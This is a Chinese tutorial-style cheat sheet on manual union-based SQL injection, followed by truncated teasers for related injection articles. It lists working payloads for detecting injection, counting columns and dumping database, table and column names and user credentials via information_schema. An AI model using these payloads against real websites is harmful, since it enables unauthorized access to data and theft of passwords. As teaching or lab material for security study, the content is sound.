SQL注入手工注入常用的語句

2021-09-25 15:17:21 字數 1544 閱讀 2073

判斷是否存在注入

and 1=1 / and 1=2 回顯頁面不同(整形判斷)

輸入and 1=1和and 1=2後發現頁面沒有變化,判斷不是整型注入

輸入』 and 1=1 %23和 』 and 1=2%23後發現頁面變化,判斷為字元注入

在資料庫中 1=1 和1=2 後面隨便輸入字串(相當於1=1和1=2後面的查詢語句),發現select 1="1dasd"時返回1正確,1="2dasd"時返回0錯誤,即select在查詢時忽略後面的字串,只讓1和後面第乙個數字對比,如果相等就是正確,不相等返回錯誤。

單引號判斷『 顯示資料庫錯誤資訊或者頁面回顯不同(整形,字串型別判斷)

判斷有多少列

order by n

order by 函式是對mysql中查詢結果按照指定欄位名進行排序,除了指定字 段名還可以指定欄位的字段進行排序,第乙個查詢欄位為1,第二個為2,依次 類推。我們可以通過二分法來猜解列數
判斷資料顯示點

union select 1,2,3, n

union的作用是將兩個select查詢結果合併

程式在展示資料的時候通常只會取結果集的第一行資料,只要讓第一行查詢的結果是空集,即union左邊的select子句查詢結果為空,那麼union右邊的查詢結果自然就成為了第一行,列印在網頁上了

檢視資料庫基本資訊

獲取所有資料庫名:group_concat()一次性顯示:

select group_concat(schema_name) from information_schema.schemata
顯示當前資料庫:

union select 1,version(),database()
獲取表名

union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= 『security』
獲取列名

union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 『users』
檢視賬號密加粗樣式碼資訊

union select 1,2,group_concat(username),group_concat(password)from users
獲取列中的資訊

select * from yourtablename limit 2,4;

sql注入 手工注入

表示式 描述union 將查詢結果進行聯合輸出,追加在列尾 union all load 檔案讀取 into outfile 檔案寫入 datadir 資料庫檔案存放路徑 user 當前使用者 version 資料庫版本 database 資料庫名稱 表示系統變數 資料庫 表名描述 informat...

SQL注入之Access注入 (手工)

尋找注入點 首先呢,在 中尋找傳遞引數的頁面,也就是尋找注入點。判斷注入 找到頁面 注入點 之後呢,我們需要判斷當前頁面是否存在注入 傳統的方法是 語句狀態 鏈結後面加 報錯and 1 1 正常and 1 2 報錯or 1 2 正常or 1 1 報錯或者跳轉到另外乙個頁面 我們不使用傳統的方法,因為...

SQL注入(手工篇)

開發人員在開發web系統時對輸入的資料沒有進行有效的驗證及過濾,就存在引發sql注入漏洞的可能,並導致檢視 插入 刪除資料庫的資料,甚至可以執行主機系統命令。1.可能出現asp?id x的 2.漏洞測試 1 單引號測試 在頁面中執行命令時使用成對單引號和單個單引號進行測試,檢視是否有sql注入 2 ...